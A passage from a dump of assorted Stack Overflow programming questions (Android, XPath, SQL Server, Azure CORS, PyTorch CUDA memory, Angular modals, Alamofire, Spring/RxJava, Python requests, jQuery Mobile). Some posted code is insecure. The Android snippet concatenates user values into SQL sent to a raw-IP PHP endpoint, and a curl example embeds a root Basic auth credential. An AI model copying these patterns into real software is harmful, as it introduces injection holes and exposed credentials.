java.lang.Class.newInstanceImpl(Native Method) at java.lang.Class.newInstance(Class.java:1208) at android.app.Instrumentation.newActivity(Instrumentation.java:1061) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2101) </code></pre> <p>I have checked my manifest file and every activity has been added, but I still get the error. I don't know why.Does anyone can help? Thanks.</p> <p>The only method I use when I start the application up is:</p> <pre><code>private void DbCheckUser(){ GlobalVariable globalVariable = (GlobalVariable)LoginActivity.this.getApplicationContext(); String UserId = globalVariable.UserId.toString(); String sqlString = "SELECT COUNT(fbId) AS G FROM member where fbId="+UserId; try{ String result = DBConnector.executeQuery(sqlString,phpUrl); JSONArray jsonArray = new JSONArray(result); Log.e("result",result); JSONObject jsonData = jsonArray.getJSONObject(0); if (jsonData.getString("G").equals("0")){ String ImgUrl ="http://graph.facebook.com/"+UserId+"/picture?type=large"; String InsertMemberSqlString = "INSERT INTO member(mId, fbId, fbName, fbEmail, fbIcon, fbIconType)" +" VALUES ('','"+UserId+"','"+UserName+"','"+UserEmail+"','"+ImgUrl+"','image/png')"; String insertResult = DBConnector.executeQuery(InsertMemberSqlString, "http://140.117.71.81/connect_to_cloze.php"); Log.e("insertResult",insertResult); } else{ String mIdSqlString = "SELECT mId FROM member WHERE fbId='"+UserId+"'"; try{ String mIdResult = DBConnector.executeQuery(mIdSqlString, "http://140.117.71.81/connect_to_cloze.php"); JSONArray jsonArraymId = new JSONArray(mIdResult); final JSONObject jsonDatamId = jsonArraymId.getJSONObject(0); globalVariable.mId = jsonDatamId.getString("mId"); //mId = jsonDatamId.getString("mId"); Log.e("mId",globalVariable.mId); Intent intent = new Intent(); intent.setClass(LoginActivity.this, ClosetMainActivity.class); startActivity(intent); }catch(Exception e){ Log.e("error",e.toString()); } } }catch(Exception e){ Log.e("LogInError",e.toString()); } } </code></pre>
3
1,508
how to retrieve XML data using XPath which has a default namespace in Java?
<p>I've come across and problem that I've looked up on stack overflow but none of the solutions seems to solve the problem for me.</p> <p>I'm retrieving XML data from Yahoo and it comes back as below (truncated for brevity's sake).</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt; &lt;fantasy_content xmlns="http://fantasysports.yahooapis.com/fantasy/v2/base.rng" xmlns:yahoo="http://www.yahooapis.com/v1/base.rng" copyright="Data provided by Yahoo! and STATS, LLC" refresh_rate="31" time="55.814027786255ms" xml:lang="en-US" yahoo:uri="http://fantasysports.yahooapis.com/fantasy/v2/league/328.l.108462/settings"&gt; &lt;league&gt; &lt;league_key&gt;328.l.108462&lt;/league_key&gt; &lt;league_id&gt;108462&lt;/league_id&gt; &lt;draft_status&gt;postdraft&lt;/draft_status&gt; &lt;/league&gt; &lt;/fantasy_content&gt; </code></pre> <p>I've been having a problem getting XPath to retrieve any elements so I've written a unit test to try to resolve it and it looks like:</p> <pre><code> final File file = new File("league-settings.xml"); javax.xml.parsers.DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); dbFactory.setNamespaceAware(true); javax.xml.parsers.DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); org.w3c.dom.Document doc = dBuilder.parse(file); javax.xml.xpath.XPath xPath = XPathFactory.newInstance().newXPath(); xPath.setNamespaceContext(new YahooNamespaceContext()); final String expression = "yfs:league"; final XPathExpression expr = xPath.compile(expression); Object nodes = expr.evaluate(doc, XPathConstants.NODESET); assert(nodes instanceof NodeList); NodeList leagueNodes = (NodeList)nodes; int leaguesLength = leagueNodes.getLength(); assertEquals(leaguesLength, 1); </code></pre> <p>The YahooNamespaceContext class I created to map the namespaces looks as follows:</p> <pre><code>public class YahooNamespaceContext implements NamespaceContext { public static final String YAHOO_NS = "http://www.yahooapis.com/v1/base.rng"; public static final String DEFAULT_NS = "http://fantasysports.yahooapis.com/fantasy/v2/base.rng"; public static final String YAHOO_PREFIX = "yahoo"; public static final String DEFAULT_PREFIX = "yfs"; private final Map&lt;String, String&gt; namespaceMap = new HashMap&lt;String, String&gt;(); public YahooNamespaceContext() { namespaceMap.put(DEFAULT_PREFIX, DEFAULT_NS); namespaceMap.put(YAHOO_PREFIX, YAHOO_NS); } public String getNamespaceURI(String prefix) { return namespaceMap.get(prefix); } public String getPrefix(String uri) { throw new UnsupportedOperationException(); } public Iterator&lt;String&gt; getPrefixes(String uri) { throw new UnsupportedOperationException(); } } </code></pre> <p>Any help with people with more experience with XML namespaces or debugging tips into Xpath compilation/evaluation would be appreciated.</p>
3
1,105
SQL Server : Group By records not on the same day
<p>I have a set of tables where we used to maintain transaction histories of bank account.</p> <p>We have applied grouping on the transaction and get the grouped transactions. This worked fine for normal accounts. I used this query to analyze the users regular transactions which happens on pattern like every week or fortnightly or monthly and it is used to to find the users Salary credit, and living expenses.</p> <p>When the transactions are based on joint account and if a patterned transaction happens on the same day with same description, the query sums up which is wrong.</p> <p>Ex:</p> <p>Husband &amp; Wife works on the same company and gets Salary on 1000 &amp; 500 respectively. The grouping should group 1000 separately and 500 separately. The transaction amount can differ because he or she could get variable pay. Because of this issue, it is calculate pattern wrong. Say if the its fortnightly, it calculates as weekly. Can someone shed some idea to fix this issue.</p> <p>The requirement is, if a group occurs twice in the same day, it should group them separately.</p> <p>SCHEMA</p> <pre><code>1. CustomerBankAccountTransactions Column_name Type ---------------------------- --------- BankAcounttransactionID nvarchar BankAccountID nvarchar TransactionDate datetime Amount float IsDebit nvarchar RunningBalance nvarchar Description ntext 2. CustomerBankTransactionGroupLink Column_name Type -------------------------- -------- ID numeric TransactionGroupID numeric BankAcountTransactionID nvarchar UpdateUser nvarchar UpdateDateTime datetime 3. CustomerTransactionGroup Column_name Type ------------------- -------- ID numeric SubCategoryID numeric GroupName nvarchar UpdateUser nvarchar UpdateDateTime datetime IsDebit nvarchar </code></pre> <p>The query sample is,</p> <pre><code>SELECT MAX(tg.ID), tg.GroupName, COUNT(tg.GroupName) AS GroupCount, CASE WHEN at.IsDebit = 't' THEN 'Debit' ELSE 'Credit' END AS TransactionType, MIN(at.Amount) AS MinimumAmount, MAX(at.Amount) AS MaximumAmount, AVG(at.Amount) AS AverageAmount, MIN(at.TransactionDate) AS FirstTransacionDate, MAX(at.TransactionDate) AS LastTransacionDate, CASE WHEN COUNT(at.TransactionDate) &lt;= 1 THEN DATEDIFF(DAY, MIN(at.TransactionDate), MAX(at.TransactionDate)) ELSE (DATEDIFF(DAY, MIN(at.TransactionDate), MAX(at.TransactionDate)) / (COUNT(at.TransactionDate) - 1)) END AS TransactionInterval, DATEDIFF(DAY, MAX(at.TransactionDate), GETDATE()) AS DaysSinceLastTransaction, DATEDIFF(DAY, MIN(at.TransactionDate), MAX(at.TransactionDate)) AS TimeSpan FROM CustomerBankAccountTransactions AT INNER JOIN CustomerBankTransactionGroupLink atgl ON atgl.BankAcountTransactionID = AT.BankAcounttransactionID INNER JOIN CustomerTransactionGroup tg ON tg.ID = atgl.TransactionGroupID WHERE AT.BankAccountID = '012083191715294f957d06e-76ad-485a-ad0e-e115a1e479fe' GROUP BY tg.GroupName, AT.IsDebit ORDER BY tg.GroupName </code></pre>
3
1,390
Azure API - How do I setup CORS
<p>I have REST API, that is hosted in Azure. If I make request in interactive console with GET method ('/api/pets'), request goes through just fine. But when I make POST request (POST '/api/pets'), CORS error appears.</p> <p>Response in interacive console throws this error: <a href="https://i.stack.imgur.com/IxlOz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IxlOz.png" alt="Response in interacive console throws this error" /></a></p> <p>startup.cs</p> <pre class="lang-cs prettyprint-override"><code> public void ConfigureServices(IServiceCollection services) { . . . services.AddCors(options =&gt; options.AddPolicy(&quot;CorsPolicy&quot;, builder =&gt; { builder .AllowAnyOrigin() .AllowAnyHeader() .AllowAnyMethod(); })); . . . } public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { app.UseCors(&quot;CorsPolicy&quot;); . . . } </code></pre> <p>All API's CORS policy</p> <pre class="lang-xml prettyprint-override"><code>&lt;policies&gt; &lt;inbound&gt; &lt;cors&gt; &lt;allowed-origins&gt; &lt;origin&gt;*&lt;/origin&gt; &lt;/allowed-origins&gt; &lt;allowed-methods preflight-result-max-age=&quot;300&quot;&gt; &lt;method&gt;GET&lt;/method&gt; &lt;method&gt;POST&lt;/method&gt; &lt;method&gt;PUT&lt;/method&gt; &lt;method&gt;DELETE&lt;/method&gt; &lt;method&gt;HEAD&lt;/method&gt; &lt;method&gt;OPTIONS&lt;/method&gt; &lt;method&gt;PATCH&lt;/method&gt; &lt;method&gt;TRACE&lt;/method&gt; &lt;/allowed-methods&gt; &lt;allowed-headers&gt; &lt;header&gt;*&lt;/header&gt; &lt;/allowed-headers&gt; &lt;expose-headers&gt; &lt;header&gt;*&lt;/header&gt; &lt;/expose-headers&gt; &lt;/cors&gt; &lt;/inbound&gt; &lt;backend&gt; &lt;forward-request /&gt; &lt;/backend&gt; &lt;outbound /&gt; &lt;on-error /&gt; &lt;/policies&gt; </code></pre> <p>I also tried setting CORS policy on azure portal only in specific API, but it doesn't work Everything works fine locally.</p>
3
1,396
Cuda error out of memory while running a python code
<p>I am trying to run this following code. I am getting an error. The code is from <a href="https://dmitryulyanov.github.io/deep_image_prior" rel="nofollow noreferrer">Deep Image Prior</a> downloaded from Github. Can anyone tell me why I am getting this error and where I am wrong? I read something about this and it said to reduce the batch size. How to reduce it? Is it because the .tif file is around 100 MB? The error is RuntimeError: CUDA error: out of memory and I am using 12 GB GPU and CUDA 9.2</p> <pre><code>from __future__ import print_function import matplotlib.pyplot as plt %matplotlib inline import argparse import os #os.environ['CUDA_VISIBLE_DEVICES'] = '0' import numpy as np from models import * import torch import torch.optim import torch.nn as nn from torch.utils.data import Dataset, DataLoader import warnings warnings.filterwarnings("ignore") from skimage.measure import compare_psnr from models.downsampler import Downsampler from utils.sr_utils import * torch.backends.cudnn.enabled = True torch.backends.cudnn.benchmark =True dtype = torch.cuda.FloatTensor device = torch.device("cuda:0" if torch.cuda.is_available() else"cpu") imsize = (819,819) factor = 2 # 8 enforse_div32 = 'CROP' # we usually need the dimensions to be divisible by a power of two (32 in this case) PLOT = True # To produce images from the paper we took *_GT.png images from LapSRN viewer for corresponding factor, # e.g. x4/zebra_GT.png for factor=4, and x8/zebra_GT.png for factor=8 with torch.no_grad(): path_to_image = '/home/smitha/deep-image-prior/resize.tif' imgs = load_LR_HR_imgs_sr(path_to_image , imsize, factor, enforse_div32) imgs['bicubic_np'], imgs['sharp_np'], imgs['nearest_np'] = get_baselines(imgs['LR_pil'], imgs['HR_pil']) if PLOT: plot_image_grid([imgs['HR_np'], imgs['bicubic_np'], imgs['sharp_np'], imgs['nearest_np']], 4,12); print ('PSNR bicubic: %.4f PSNR nearest: %.4f' % ( compare_psnr(imgs['HR_np'], imgs['bicubic_np']), compare_psnr(imgs['HR_np'], imgs['nearest_np']))) input_depth = 8 INPUT = 'noise' pad = 'reflection' OPT_OVER = 'net' KERNEL_TYPE='lanczos2' LR = 1 tv_weight = 0.0 OPTIMIZER = 'adam' if factor == 2: num_iter = 10 reg_noise_std = 0.01 elif factor == 8: num_iter = 40 reg_noise_std = 0.05 else: assert False, 'We did not experiment with other factors' net_input = get_noise(input_depth, INPUT, (imgs['HR_pil'].size[1], imgs['HR_pil'].size[0])).type(dtype).detach() NET_TYPE = 'skip' # UNet, ResNet net = get_net(input_depth, 'skip', pad, skip_n33d=512, skip_n33u=512, skip_n11=4, num_scales=5, upsample_mode='bilinear').type(dtype) # Losses mse = torch.nn.MSELoss().type(dtype) img_LR_var = np_to_torch(imgs['LR_np']).type(dtype) downsampler = Downsampler(n_planes=3, factor=factor, kernel_type=KERNEL_TYPE, phase=0.5, preserve_size=True).type(dtype) def closure(): global i, net_input if reg_noise_std &gt; 0: net_input = net_input_saved + (noise.normal_() * reg_noise_std) out_HR = net(net_input) out_LR = downsampler(out_HR) total_loss = mse(out_LR, img_LR_var) if tv_weight &gt; 0: total_loss += tv_weight * tv_loss(out_HR) total_loss.backward() # Log psnr_LR = compare_psnr(imgs['LR_np'], torch_to_np(out_LR)) psnr_HR = compare_psnr(imgs['HR_np'], torch_to_np(out_HR)) print ('Iteration %05d PSNR_LR %.3f PSNR_HR %.3f' % (i, psnr_LR, psnr_HR), '\r', end='') # History psnr_history.append([psnr_LR, psnr_HR]) if PLOT and i % 100 == 0: out_HR_np = torch_to_np(out_HR) plot_image_grid([imgs['HR_np'], imgs['bicubic_np'], np.clip(out_HR_np, 0, 1)], factor=13, nrow=3) i += 1 return total_loss psnr_history = [] net_input_saved = net_input.detach().clone() noise = net_input.clone() i = 0 p = get_params(OPT_OVER, net, net_input) optimize(OPTIMIZER, p, closure, LR, num_iter) out_HR_np = np.clip(torch_to_np(net(net_input)), 0, 1) result_deep_prior = put_in_center(out_HR_np, imgs['orig_np'].shape[1:]) # For the paper we acually took `_bicubic.png` files from LapSRN viewer and used `result_deep_prior` as our result plot_image_grid([imgs['HR_np'], imgs['bicubic_np'], out_HR_np], factor=4, nrow=1); </code></pre>
3
2,013
How to add fields in bootstrap model dynamically in angular
<p>I am new to <code>webDevelopment</code>. Now, Here I have a list of buttons , but the <code>data-target</code> is a same model for every button click. So, My model is like -</p> <pre><code>&lt;div class="modal fade" id="myModalHorizontal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;!-- Modal Header --&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt; &lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt; &lt;span class="sr-only"&gt;Close&lt;/span&gt; &lt;/button&gt; &lt;h4 class="modal-title" id="myModalLabel"&gt; Missing {{suggestivalue}} &lt;/h4&gt; &lt;/div&gt; &lt;!-- Modal Body --&gt; &lt;div class="modal-body"&gt; &lt;form class="form-horizontal" role="form"&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label" for="inputEmail3"&gt;Email&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="email" class="form-control" id="inputEmail3" placeholder="Email" /&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label" for="inputPassword3"&gt;Password&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="password" class="form-control" id="inputPassword3" placeholder="Password" /&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;div class="col-sm-offset-2 col-sm-10"&gt; &lt;div class="checkbox"&gt; &lt;label&gt; &lt;input type="checkbox"/&gt; Remember me &lt;/label&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;div class="col-sm-offset-2 col-sm-10"&gt; &lt;button type="submit" class="btn btn-default"&gt;Sign in&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;!-- Modal Footer --&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt; Close &lt;/button&gt; &lt;button type="button" class="btn btn-primary"&gt; Save changes &lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>In this buttons are like - </p> <pre><code> &lt;ul class="col-md-12 list-group suggestion"&gt; &lt;li class="list-group-item suggestion-list-group-item nopadding" ng-repeat="suggestion in suggestions | orderBy:'name'" tooltip-trigger tooltip-placement="bottom" tooltip={{suggestion.name}} tooltip-popup-delay=200 tooltip-append-to-body="true"&gt; &lt;button ng-click="grabIndex(suggestion)" class="btn btn-default btn-block suggestion-button" role="button" data-toggle="modal" data-target="#myModalHorizontal"&gt;&lt;span class="suggestion-text"&gt;{{suggestion.name}}&lt;/span&gt; &lt;/button&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>Every Button is going to open a same model,But It should be respective to that of click value. E.g. If the button is like <code>FullName</code> , I should be able to add the two Input box <code>fistName and lastName</code> . Its like on click of the Button, How can I add the fields respective of that button.? Can any one help me with this ?</p>
3
2,330
Getting "The network connection was lost." error when calling API using Alamofire library in MAC OS App
<p>I have integrated <a href="https://github.com/Alamofire/Alamofire" rel="nofollow noreferrer">Alamofire</a> Library for API calling, and getting following error :</p> <blockquote> <p>Error Domain=NSURLErrorDomain Code=-1005 "The network connection was lost." UserInfo={_kCFStreamErrorCodeKey=57, NSUnderlyingError=0x600000c68990 {Error Domain=kCFErrorDomainCFNetwork Code=-1005 "(null)" UserInfo={_kCFStreamErrorCodeKey=57, _kCFStreamErrorDomainKey=1}}, _NSURLErrorFailingURLSessionTaskErrorKey=LocalDataTask .&lt;1>, _NSURLErrorRelatedURLSessionTaskErrorKey=( "LocalDataTask .&lt;1>" ), NSLocalizedDescription=The network connection was lost., NSErrorFailingURLStringKey=OUR_Server_URL, NSErrorFailingURLKey=OUR_Server_URL, _kCFStreamErrorDomainKey=1}</p> </blockquote> <p>I have added following property into .plist file too :</p> <pre><code>&lt;key&gt;NSAppTransportSecurity&lt;/key&gt; &lt;dict&gt; &lt;key&gt;NSAllowsArbitraryLoads&lt;/key&gt; &lt;true/&gt; &lt;/dict&gt; </code></pre> <p>I am using Alamofire using following code :-</p> <pre><code>Alamofire code : func postFormDataWebService(methodType : HTTPMethod, contentType : String, url : String, parameters : NSMutableDictionary?, success: @escaping(_ response : NSDictionary, _ status : String) -&gt; Void, failure: @escaping(_ error : Error, _ status : Int) -&gt; Void){ var headers : HTTPHeaders = [ "Content-Type": contentType, "accept": "application/json"] Alamofire.request(url, method: methodType, parameters:parameters as? [String : Any] , encoding: JSONEncoding.default, headers: headers) .responseJSON { (response:DataResponse) in var responseStatusCode: Int = 0 switch response.result { case .success: responseStatusCode = (response.response?.statusCode)! let data = response.result.value as! NSDictionary print(data) success(data, data["status"] as? String ?? "") break case .failure(let error): responseStatusCode = response.response?.statusCode ?? 0 print("statusCode :: ", response.response?.statusCode ?? 0) print("Error :: ",error.localizedDescription) failure(error,responseStatusCode) } } } API Calling function : ApiManager.shared.postFormDataWebService(methodType: :POST, contentType: "application/json", url: LoginUrl, parameters: parameters, success: { (response, status) in print("response = \(response)") print("status = \(status)") }) { (error, status) in print("Login Error == \(error)\nStatus == \(status)") } </code></pre> <p>Any help would be appreciated.</p>
3
1,141
Scope 'session' is not active for the current thread while accessing Spring session bean inside RxJava thread
<p>I'm getting an exception while trying to access a Spring session scoped bean inside a thread of rxjava Schedulers.io()</p> <pre><code>Caused by: java.lang.IllegalStateException: No thread-bound request found: Are you referring to request attributes outside of an actual web request, or processing a request outside of the originally receiving thread? If you are actually operating within a web request and still receive this message, your code is probably running outside of DispatcherServlet/DispatcherPortlet: In this case, use RequestContextListener or RequestContextFilter to expose the current request. </code></pre> <p>Here is my scoped bean</p> <pre><code>@Component @Scope(value = WebApplicationContext.SCOPE_SESSION, proxyMode = ScopedProxyMode.TARGET_CLASS) @Getter @Setter public class SearchSession { List&lt;String&gt; results; } </code></pre> <p>And my controller</p> <pre><code>@Controller @AllArgsConstructor(onConstructor=@__(@Autowired)) @Slf4j public class SearchController { private SearchService searchService; private SearchSession searchSession; @GetMapping("/search") public DeferredResult&lt;ModelAndView&gt; getResults() { DeferredResult&lt;ModelAndView&gt; deferredResult = new DeferredResult&lt;&gt;(); searchService.search("param1", "param2") .map(results -&gt; { searchSession.setResults(results); return results; ) .subscribeOn(Schedulers.io()) .subscribe( results -&gt; { ModelAndView view = new ModelAndView("search"); view.addObject("results", results); deferredResult.setResult(view); ); return deferredResult; } } </code></pre> <p>I tried to define a class which extends RequestContextListener and set parameter inheritable to true when calling RequestContextHolder.setRequestAttributes to allow inheritance between the thread which initially handle the request and the RxJava thread but it didn't work.</p> <pre><code>public class InheritableRequestContextListener extends RequestContextListener { private static final String REQUEST_ATTRIBUTES_ATTRIBUTE = InheritableRequestContextListener.class.getName() + ".REQUEST_ATTRIBUTES"; @Override public void requestInitialized(ServletRequestEvent requestEvent) { if (!(requestEvent.getServletRequest() instanceof HttpServletRequest)) { throw new IllegalArgumentException( "Request is not an HttpServletRequest: " + requestEvent.getServletRequest()); } HttpServletRequest request = (HttpServletRequest) requestEvent.getServletRequest(); ServletRequestAttributes attributes = new ServletRequestAttributes(request); request.setAttribute(REQUEST_ATTRIBUTES_ATTRIBUTE, attributes); LocaleContextHolder.setLocale(request.getLocale()); RequestContextHolder.setRequestAttributes(attributes, true); } } </code></pre> <p>I also tried to create a custom RxJava scheduler managed by Spring but it didn't work.</p> <pre><code>@Bean public Scheduler scheduler() { final ThreadFactory threadFactory = new ThreadFactoryBuilder() .setNameFormat("SearchThread-%d") .setDaemon(true) .build(); return Schedulers.from(Executors.newFixedThreadPool(10, threadFactory)); } </code></pre> <p>Do you have any idea on how could I access my Spring session scoped bean inside RxJava thread ?</p>
3
1,208
ConnectionResetError when trying to send PUT request
<p>I'm trying to upload a file using a PUT REST Api, but I get a <code>ConnectionResetError</code>. I've tried using <code>urllib.request.Request()</code> with <code>urllib.request.urlopen()</code>, as well as <code>requests.put()</code>.</p> <p>It works correctly when I'm using cURL:</p> <pre><code>$ curl -X PUT http://localhost:5000/root.bar/test/1.0/jre -H 'Content-Type: application/java-archive' -H 'Content-Name: bfg-1.12.16.jar' -H 'Authorization: Basic cm9vdDphbHBpbmU=' -d @C:/Users/niklas/Desktop/bfg-1.12.16.jar </code></pre> <p>The important portion of the code:</p> <pre><code>headers = {'Content-Type': args.mime, 'Content-Name': args.name} if args.auth: headers['Authorization'] = build_basicauth(username, password) url = args.apiurl.rstrip('/') + '/{}/{}/{}/{}'.format(*parts) if not urllib.parse.urlparse(url).scheme: url = 'https://' + url if args.test: command = ['curl', '-X', 'PUT', url] for key, value in headers.items(): command += ['-H', '{}: {}'.format(key, value)] command += ['-d', '@' + args.file.name] print('$', ' '.join(map(shlex.quote, command))) return 0 response = requests.put(url, data=args.file, headers=headers) print(response) </code></pre> <p><strong>What am I missing that cURL is doing?</strong></p> <p>(PS: I've also tried sending <code>bytes</code> instead of a file-like object using <code>requests.put()</code> by passing <code>data=args.file.read()</code> instead)</p> <hr> <p>The full traceback:</p> <pre><code>$ python -m fatartifacts.web.cli http://localhost:5000 root.bar:test:1.0:jre ~/Desktop/bfg-1.12.16.jar -m application/java-archive -u root:alpine Traceback (most recent call last): File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\connectionpool.py", line 601, in urlopen chunked=chunked) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\connectionpool.py", line 357, in _make_request conn.request(method, url, **httplib_request_kw) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1239, in request self._send_request(method, url, body, headers, encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1285, in _send_request self.endheaders(body, encode_chunked=encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1234, in endheaders self._send_output(message_body, encode_chunked=encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1065, in _send_output self.send(chunk) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 986, in send self.sock.sendall(data) ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\adapters.py", line 440, in send timeout=timeout File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\connectionpool.py", line 639, in urlopen _stacktrace=sys.exc_info()[2]) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\util\retry.py", line 357, in increment raise six.reraise(type(error), error, _stacktrace) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\packages\six.py", line 685, in reraise raise value.with_traceback(tb) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\connectionpool.py", line 601, in urlopen chunked=chunked) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\urllib3\connectionpool.py", line 357, in _make_request conn.request(method, url, **httplib_request_kw) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1239, in request self._send_request(method, url, body, headers, encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1285, in _send_request self.endheaders(body, encode_chunked=encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1234, in endheaders self._send_output(message_body, encode_chunked=encode_chunked) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 1065, in _send_output self.send(chunk) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\http\client.py", line 986, in send self.sock.sendall(data) urllib3.exceptions.ProtocolError: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None)) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "c:\users\niklas\appdata\local\programs\python\python36\Lib\runpy.py", line 193, in _run_module_as_main "__main__", mod_spec) File "c:\users\niklas\appdata\local\programs\python\python36\Lib\runpy.py", line 85, in _run_code exec(code, run_globals) File "C:\Users\niklas\repos\fatartifacts\fatartifacts\web\cli.py", line 106, in &lt;module&gt; main_and_exit() File "C:\Users\niklas\repos\fatartifacts\fatartifacts\web\cli.py", line 102, in main_and_exit sys.exit(main()) File "C:\Users\niklas\repos\fatartifacts\fatartifacts\web\cli.py", line 97, in main response = requests.put(url, data=args.file, headers=headers) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\api.py", line 126, in put return request('put', url, data=data, **kwargs) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\api.py", line 58, in request return session.request(method=method, url=url, **kwargs) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\sessions.py", line 508, in request resp = self.send(prep, **send_kwargs) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\sessions.py", line 618, in send r = adapter.send(request, **kwargs) File "C:\Users\niklas\.virtualenvs\fatartifacts-LoWBpE4v\lib\site-packages\requests\adapters.py", line 490, in send raise ConnectionError(err, request=request) requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None)) </code></pre> <hr> <p>The REST API is implemented with <code>flask</code> and <code>flask-restful</code>. This exception seems to happen when</p> <ul> <li>issuing the request using Python (<code>urllib.request</code>, <code>requests</code>)</li> <li>the API returns a non-200 status code using <code>flask.abort()</code></li> </ul>
3
2,580
JQuery Mobile: After changePage navbar is not working on target page until I manually refresh the browser
<p>I have the problem that the navbar is not working on the target page (login.php), after changePage has been invoked from the login page (index.php).</p> <p>I have 3 files</p> <ol> <li>index.php - Login Mask</li> <li>login.js - Contains the changePage</li> <li>login.php - Contains the navbar that is not working</li> </ol> <p>This is index.php:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta name="viewport" content="width=device-width, initial-scal=1" /&gt; &lt;link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css" /&gt; &lt;link rel="stylesheet" href="css/custom.css" /&gt; &lt;script src="http://code.jquery.com/jquery-1.11.1.min.js"&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="js/login.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="page" data-role="page"&gt; &lt;div id="header" data-role="header"&gt; &lt;h1&gt; Carpooling &lt;/h1&gt; &lt;/div&gt; &lt;div id="content" data-role="content"&gt; &lt;form&gt; &lt;div id="loginForm"&gt; &lt;h2&gt; Login &lt;/h2&gt; &lt;div id="usernameDiv" data-role="field-contain"&gt; &lt;input type="text" name="username" placeholder="Username" id="username" /&gt; &lt;/div&gt; &lt;div id="passwordDiv" data-role="field-contain"&gt; &lt;input type="password" name="password" placeholder="Password" id="password" /&gt; &lt;/div&gt; &lt;div id="loginButtonDiv" data-role="field-contain"&gt; &lt;button name="login" type="submit" data-inline="true"&gt; Login &lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;div id="footer" data-role="footer"&gt; &lt;h1&gt; Copyright &amp;copy; Bj&amp;ouml;rn Karpenstein &lt;/h1&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>This is login.js: <div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>$(function() { $('form').submit(function(){ if(validateUsername() &amp;&amp; validatePassword()) { $.post("services/auth.php", $('form').serialize(), function(response) { if (response == 'true') { showSuccess('You will be redirected in a moment!'); setTimeout(function(){ $.mobile.changePage('login.php', {transition: "slide", reloadPage: true, changeHash: false}); }, 2000); } else { showError(response); } }); } function validateUsername() { if($('#username').val().length === 0) { showError('The Username can not be empty!'); return false; } else { return true; } return false; } function validatePassword() { if($('#password').val().length === 0) { showError('The Password can not be empty!'); return false; } else { return true; } return false; } function showSuccess(message){ $('&lt;div class="ui-loader ui-overlay-shadow ui_body_success ui-corner-all"&gt;&lt;h1&gt;'+message+'&lt;/h1&gt;&lt;/div&gt;').css({ "display": "block", 